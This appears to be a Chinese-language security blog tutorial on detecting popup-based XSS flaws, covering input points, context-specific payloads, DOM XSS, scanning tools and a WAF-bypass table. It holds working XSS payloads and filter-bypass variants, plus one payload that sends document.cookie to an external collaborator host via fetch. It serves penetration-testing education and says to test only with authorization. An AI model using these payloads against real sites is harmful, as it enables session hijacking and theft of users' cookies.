弹窗XSS漏洞如何检测

wen 网络安全 28

本文目录导读:

弹窗XSS漏洞如何检测

  1. 核心检测思路
  2. 手动检测步骤(白盒与黑盒)
  3. 自动化工具检测
  4. 特殊场景:绕过WAF/过滤器的检测
  5. 一个标准的手动检测流程

检测弹窗型XSS(通常指基于DOM的XSS,通过alertpromptconfirm等弹窗函数验证)主要分为自动化扫描手动测试两种方式。

由于现实场景中alert常被浏览器安全策略或广告拦截器屏蔽(且容易被安全设备检测),实际渗透中常使用非弹窗Payload(如print()console.log)或无弹窗验证(如监听DOM变化、读取Cookie)。

以下是详细的检测方法:

核心检测思路

弹窗XSS的本质是攻击者输入的<script>标签或onerror等事件处理器中的JavaScript代码被浏览器执行,检测的核心在于寻找用户输入 -> 进入HTML上下文 -> 未被转义/过滤 -> 代码执行的路径。

手动检测步骤(白盒与黑盒)

寻找输入点

所有可能由用户控制的输入点都是潜在靶点:

  • URL参数?search=xxx#hash
  • 表单输入:搜索框、评论框、用户名、URL输入框
  • HTTP头部User-AgentRefererCookie(如果页面读取并输出)
  • 文件上传:文件名、文件内容(如SVG文件中的脚本)

使用“无害”的探测字符

立即使用alert(1)容易被WAF拦截或引起管理员注意,建议使用非破坏性的测试字符:

  • HTML实体探测< > " ' &
    • 观察页面是否显示了这些字符(说明被转义),还是在查看源代码时形成了<script>标签(说明未被过滤)。
  • JS执行探测(推荐)
    • "'+<> (组合字符,测试过滤规则)
    • javascript:alert(1) (测试伪协议)
    • <img src=x onerror=alert(1)>(经典通用Payload)
    • <svg onload=alert(1)>(绕过某些过滤)

判断反射点类型

根据输入输出位置,选择不同的Payload:

  • 输出在HTML标签之间
    • 输入:<script>alert(1)</script>
    • 预期结果:弹窗。
  • 输出在HTML标签的属性内(如<input value="[输入]">):
    • 输入:" onfocus=alert(1) autofocus " a="
    • 预期结果:双引号闭合,插入新属性。
  • 输出在JavaScript代码中(如<script>var x = '[输入]';</script>):
    • 输入:'; alert(1); //
    • 预期结果:闭合引号和语句,执行alert
  • 输出在<a>标签的href属性中
    • 输入:javascript:alert(1)
    • 预期结果:点击链接后弹窗。

使用 print() 代替 alert()

print()(打印页面)是标准JavaScript函数,不会被大多数浏览器安全策略(如Chrome的XSS Auditor已废弃,但现代浏览器仍对alert有严格限制)拦截:

  • Payload示例<img src=x onerror=print(1)>
  • 验证方法:执行后你会看到浏览器弹出打印对话框,这说明JavaScript成功执行。

DOM型XSS的特殊检测(重点)

动态页面(如React、Vue、原生JS)常用 innerHTMLdocument.writeevallocation.hash 等。

  • 检测方法
    1. 在URL的后面输入:#<img src=x onerror=alert(1)>
    2. 或者在URL的参数中输入:"?__proto__[x][y]=..." (检测原型链污染引发XSS的变种)。
    3. 使用浏览器开发者工具
      • 打开Console面板。
      • 修改URL参数,观察是否出现意外的网络请求(如向evil.com发请求,说明可能执行了new Image().src)。
      • 在Sources面板中,搜索innerHTMLouterHTMLinsertAdjacentHTML等API,看是否有用户变量直接拼接进来。

自动化工具检测

常用工具可以快速扫描大量参数,但不要完全依赖工具。

  1. Burp Suite Pro(推荐)

    • 主动扫描:将请求发送到Active Scanner,它会自动尝试数百种Payload并分析响应是否被渲染。
    • 被动扫描:使用Collaborator(外带检测)功能,检测盲XSS(Blind XSS),即使没有反应,工具也可能检测到页面将输入放入了<script>的非安全位置。
  2. XSStrike

    • 专门针对XSS的工具,能自动检测WAF、生成绕过Payload、判断上下文(HTML/JS/属性)。
    • 命令示例:python xsstrike.py -u "http://target.com/search?q=test"
    • 它会尝试alertpromptconsole.log等多种方式。
  3. DalFox

    • 现代的、基于AST(抽象语法树)分析和模糊测试的工具。
    • 它特别擅长检测DOM XSS和绕过WAF。
    • 命令示例:dalfox url http://target.com/?q=test
  4. 浏览器内置工具扩展(如HackBarFoxyProxy + Burp):用于手动快速修改参数并发送请求。

特殊场景:绕过WAF/过滤器的检测

如果alert被拦截,说明存在过滤器,以下是一些突破技巧,同时用于检测过滤强度

绕过类型 示例Payload 说明
大小写混写 <img sRc=x OnError=alert(1)> 针对黑名单过滤(关键词匹配)。
双写/关键字拆分 <scr<script>ipt>alert(1)</scr</script>ipt> 如果过滤逻辑是删除<script>
使用HTML实体编码 <img src=x onerror=&#97;&#108;&#101;&#114;&#116;(1)> alert的ASCII码十进制。
使用Unicode/UTF-8编码 %u0061%u006c... 针对WAF的URL解码不一致性。
多层嵌套 & 组合 " onclick=alert(1)><img src=x> 利用多个属性组合绕过过滤。
使用非标准JS函数 <img src=x onerror=String.fromCharCode(97,108,101,114,116,40,49,41)> String.fromCharCode将ASCII码转为字符串,但此法不会弹窗,只是执行,更简单的是用onerror=prompt(1)(虽然prompt也常被拦截)。
无弹窗的Payload <img src=x onerror='fetch("http://[burp_collaborator_url]/?c="+document.cookie)'> 使用fetchXMLHttpRequest向外带数据,只要Collaborator收到请求,就证明XSS存在。这是最专业、最隐蔽的检测方式。

一个标准的手动检测流程

假设你有一个搜索框 http://test.com/search?q=xxx

  1. 基础探测:输入<script>alert(1)</script>,观察是否被拦截(返回空白、403、或弹窗)。
  2. 查看源码:输入<test123>,右键“查看页面源代码”,搜索test123
    • 情况A:显示为<test123>(被转义) -> 通常比较安全。
    • 情况B:显示为test123(标签被剥离) -> 可能存在注入点(如<img src=x>)。
    • 情况C:显示为<test123>(被渲染) -> 高危
  3. 确定上下文:如果情况B,尝试<img src=x onerror=print()>,如果情况C,尝试" onmouseover=print() x="
  4. 外带验证(终极确认):如果弹窗未能成功,使用fetch到你的监听服务器。
  5. 使用工具兜底:如果你没找到,把请求丢给XSStrikeDalFox,它们可能会发现你遗漏的编码或DOM位置。

重要提醒:务必在授权环境自己的靶机上进行这些测试,在未授权的网站上测试弹窗XSS属于违法行为。

抱歉,评论功能暂时关闭!